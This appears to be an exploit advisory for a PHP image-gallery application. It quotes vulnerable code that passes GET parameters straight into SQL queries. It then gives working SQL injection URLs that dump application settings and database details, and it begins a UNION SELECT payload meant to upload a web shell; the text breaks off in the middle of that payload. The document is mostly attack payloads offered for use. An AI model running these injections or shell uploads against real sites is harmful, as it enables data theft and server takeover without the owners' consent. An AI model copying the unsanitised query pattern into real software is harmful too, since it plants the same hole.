<<<<---------++++++++++++++ Condition: magic_quotes_gpc=off ++++++++++++++++±-------->>>>


INTRO:

This is a crazy app, admin zone isn't protected, perhaps it needs a .htaccess file. Database doesn't store

information about users (or admin).


FILES VULN:

Path –> [HOME_PATH]/example.php

if($_GET[gallery_category]){

    getGalleryImage&#40;$_GET[gallery_category], $_GET[gallery_show], true, &quot;both&quot;, 450, &quot;&quot;&#41;;

}

Path –> [HOME_PATH]/st_admin/gallery_output.php

function getGalleryImage($album, $image, $showAlbum, $posNav, $maxWidth){

if($showAlbum){

    $abfrage = &quot;SELECT * FROM &quot;.$db_prefix.&quot;gallery_category WHERE id = &#39;$album&#39;&quot;;   
    $ergebnis = mysql_query&#40;$abfrage&#41;;   

}
$abfrage = "SELECT * FROM ".$db_prefix."gallery_images WHERE category = '$album'";
$ergebnis = mysql_query($abfrage);


PROOFS OF CONCEPT:

GET vars –> gallery_category and gallery_show

PoC-1:
http://[HOST]/[HOME_PATH]/example.php?gallery_category=-1%27+UNION+ALL+SELECT+1,concat(name,0x3A3A3A,value)+FROM+st_settings+WHERE+id=2/*

Return –> gallery_path = … (**take note)

PoC-2:
http://127.0.0.1/st-gallery/example.php?gallery_category=1&amp;gallery_show=-1&#37;27+union+all+select+1,version&#40;&#41;,database&#40;&#41;,4,5,6/*

Return –> version and databse


EXPLOITS (SHELL UPLOAD):

<<<<---------++++++++++++++ Condition: Permission to create files ++++++++++++++++±-------->>>>

[COMPLETE-PATH] –> (**use note)

Ex-1: http://[HOST]/[HOME_PATH]/example.php?gallery_category=-1%27+UNION+ALL+SELECT+'<HTML><title>SHELL BY
